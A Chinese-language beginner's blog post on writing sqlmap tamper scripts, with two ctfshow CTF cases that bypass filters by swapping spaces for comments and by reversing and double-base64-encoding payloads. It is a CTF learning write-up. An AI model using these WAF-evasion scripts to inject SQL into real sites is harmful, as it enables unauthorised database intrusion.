前言

最近做ctf题,到了编写tamper脚本的阶段,写一篇基础浅薄的文章记录一下,新手如何上手tamper脚本的编写

介绍

tamper的出现是为了引入用户自定义的脚本来修改payload以达到绕过waf的目的,而tamper文件在sqlmap文件夹下的tamper文件夹中。我们取一个base64encode.py文件来观察其结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python

"""
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.convert import encodeBase64
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
pass

def tamper(payload, **kwargs):

return encodeBase64(payload, binary=False) if payload else payload

可以看到,分别有import__priority__属性、dependencies函数和tamper函数

import

这一部分不用多说大家也都知道,就是导入python库或者sqlmap的内部库。其中sqlmap为我们封装了很多函数,我们可以在lib文件中的core文件夹查看。

priority

PRIORITY是从slqmap自己封装的库中导入,我们去查看enums.py文件可以看到以下内容

1
2
3
4
5
6
7
8
class PRIORITY(object):
LOWEST = -100
LOWER = -50
LOW = -10
NORMAL = 0
HIGH = 10
HIGHER = 50
HIGHEST = 100

这里是定义优先级的意思,如果有多个tamper脚本同时使用,会按照优先级顺序进行先后调用

dependencies

dependencies的作用主要是进行提示,上述案例没有作提示就用了pass跳过,我们写个简单提示的例子

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env python
from lib.core.convert import encodeBase64
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage

__priority__ = PRIORITY.LOW

def dependencies():
singleTimeWarnMessage("我是提示哦,这个tamper的作用是进行base64编码")

def tamper(payload, **kwargs):

return encodeBase64(payload, binary=False) if payload else payload

然后在tamper文件夹下保存成dotast.py,以--tamper=dotast的方式引用

可以看到弹出了我们编写的提示

tamper

tamper函数是整个tamper脚本的核心,你想实现的功能都写在此函数里边。他有两个参数,一个是payload,一个是kwargs。payload是sqlmap的注入payload,想要bypass绕过就对此修改;kwargs是对于http头部的修改。

编写案例

案例一

这里举例ctfshow的web208题

1
2
3
4
5
//对传入的参数进行了过滤
// $id = str_replace('select', '', $id);
function waf($str){
return preg_match('/ /', $str);
}

可以看到waf的逻辑是ban了小写select和空格,我们编写对应绕过的tamper脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
singleTimeWarnMessage("绕过小写select和空格")

def tamper(payload, **kwargs):
result = ""
for i in range(len(payload)):
"""把空格替换成注释符绕过"""
if payload[i]== " ":
result +="/**/"
else:
result +=payload[i]

"""小写替换成大写,这一步可以不用,因为slqmap默认payload就是大写的"""
result = result.replace("select","SELECT")
return result

我们再引入编写好的dotast.py

案例二

再举例ctfshow的web210题

waf逻辑如下

1
2
3
4
//对查询字符进行解密
function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}

可以看见是套娃的base64编码和字符串反转,我们按照他的逻辑反着写tamper脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
import base64

__priority__ = PRIORITY.LOW

def dependencies():
singleTimeWarnMessage("别套了别套了")

def tamper(payload, **kwargs):

retVal = payload

if payload:
retVal = retVal.encode()
retVal = retVal[::-1]
retVal = base64.b64encode(retVal)
retVal = retVal[::-1]
retVal = base64.b64encode(retVal)
retVal = retVal.decode()

return retVal

然后再引入写好的tamper脚本

结语

道阻且长,加油吧!